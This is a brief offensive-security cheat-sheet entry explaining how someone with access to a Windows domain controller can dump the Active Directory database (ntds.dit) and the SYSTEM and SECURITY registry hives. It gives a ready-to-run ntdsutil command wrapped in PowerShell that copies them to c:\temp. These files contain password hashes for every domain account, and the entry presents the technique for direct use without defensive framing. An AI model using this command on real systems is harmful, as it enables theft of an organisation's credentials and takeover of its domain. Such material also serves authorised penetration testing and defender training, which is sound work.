If you have no credentials, but you have access to the DC, it’s possible to dump the ntds.dit using ntdsutil.exe. The ntds.dit and SYSTEM as well as SECURITY registry hives are dumped to c:\temp.
Command:
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"